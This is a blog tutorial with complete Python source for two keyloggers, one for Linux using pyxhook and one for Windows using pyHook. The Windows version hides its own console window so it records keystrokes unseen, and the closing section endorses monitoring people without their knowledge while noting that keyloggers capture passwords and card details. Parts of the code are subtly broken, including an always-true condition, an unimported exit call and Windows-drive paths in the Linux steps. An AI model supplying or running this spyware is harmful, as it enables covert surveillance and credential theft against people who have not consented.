Design A Simple Linux Keylogger In Python

How To Make An Open Source Simple Linux Keylogger In Python Code

Rahul JhaLast Updated On: April 28, 2020

Keylogger In Python – We have recently published an article showing a step by step method on how to create a Keylogger using a notepad on your windows or mac machine. If you want the meaning and get a basic idea about the keylogger also known as Keystroke logging then we suggest you go through this article.

Design A Simple Linux Keylogger In Python

Learn How To Design A Simple Linux Keylogger In Python

We have already shared a method to create a Keystroke logging using notepad. But we took some time and created this separate guide for some users like you who wants to create some advanced Keylogger using Python on Windows or Linux computers.

So let’s discuss how you can create Linux keylogger in python code and Windows keylogger using python code easily.

Step By Step Method To Create Basic Linux Keylogger In Python Code

Go through the following steps to design a Simple keylogger using Python code on Linux computer.

  • Firstly, get Python running on your machine. For that, you need to download some Python files and module to get python code run on your Linux OS.
  • Download Python 2.7 and PyXhook 
  • Remember pyxhook requires python-xlib so please install this if you don’t have it yet.
sudo apt-get install python-xlib

  • Now download the pyxhook library from here.
  • Below is the code for creating Simple Linux keylogger in python.
# Python code for keylogger
# to be used in linux
import os
import pyxhook
 
# This tells the keylogger where the log file will go.
# You can set the file path as an environment variable ('pylogger_file'),
# or use the default ~/Desktop/file.log
log_file = os.environ.get(
 'pylogger_file',
 os.path.expanduser('~/Desktop/file.log')
)
# Allow setting the cancel key from environment args, Default: `
cancel_key = ord(
 os.environ.get(
 'pylogger_cancel',
 '`'
 )[0]
)
 
# Allow clearing the log file on start, if pylogger_clean is defined.
if os.environ.get('pylogger_clean', None) is not None:
 try:
 os.remove(log_file)
 except EnvironmentError:
 # File does not exist, or no permissions.
 pass
 
#creating key pressing event and saving it into log file
def OnKeyPress(event):
 with open(log_file, 'a') as f:
 f.write('{}\n'.format(event.Key))
 
# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# set the hook
new_hook.HookKeyboard()
try:
 new_hook.start() # start the hook
except KeyboardInterrupt:
 # User cancelled from command line.
 pass
except Exception as ex:
 # Write exceptions to the log file, for analysis later.
 msg = 'Error while catching events:\n {}'.format(ex)
 pyxhook.print_err(msg)
 with open(log_file, 'a') as f:
 f.write('\n{}'.format(msg))
  • Now save this file in C drive of your computer and name it as “Filename.py”.
  • Before you start running your Linux keylogger file just open the file and edit the log_file variables and set them as your desired location for the log file.
  • Congratulations your Linux keylogger using Python is created successfully and is recording all your keystrokes in the background.
  • See your Keylogger in action below


Step By Step Method To Create Basic Windows Keylogger In Python Code

Follow the given steps to create a simple keylogger using python code in your windows machine.

  • Firstly, download and install Python and its modules on your windows os computer.
  • Download PyWin32 python library from here.
  • Now enter this code into your editor to create a Keylogger in windows using Python.
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
 
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
 
def OnKeyboardEvent(event):
 if event.Ascii==5:
 _exit(1)
 if event.Ascii !=0 or 8:
 #open output.txt to read current keystrokes
 f = open('c:\output.txt', 'r+')
 buffer = f.read()
 f.close()
 # open output.txt to write current + new keystrokes
 f = open('c:\output.txt', 'w')
 keylogs = chr(event.Ascii)
 if event.Ascii == 13:
 keylogs = '/n'
 buffer += keylogs
 f.write(buffer)
 f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

  • Now save this file in C drive of your computer and name it as “Filename.py”.
  • Now run the file.
  • Congratulations you have successfully created your basic Keylogger for Windows 8,8.1,10 using Python code.
  • The Keylogger will keep running in the background and you can get the output from the set output folder in the code.

Conclusion

Keystroke logger can be used in various ways both positive and negative but we urge our readers to only use this to good. Many IT companies use these keyloggers to solves problems related to their business networks and computers. Moreover, people use this in their home networks to monitor network usage without the user’s knowledge.

Please keep your data and credentials safe because keyloggers can even trace and record your passwords and card details as well which could cause you trouble in the future.

Thank you 🙂

Is this article Useful? Rate It!!
Sharing is Caring!

Oops! There are no Comments

Have something to say about this article? Add your comment and start the discussion.

Leave a Reply

Your email address will not be published. Required fields are marked *

© 2021 Tech Weed | All Rights Reserved | Handcrafted With by Digital Keen.
Show Buttons
Hide Buttons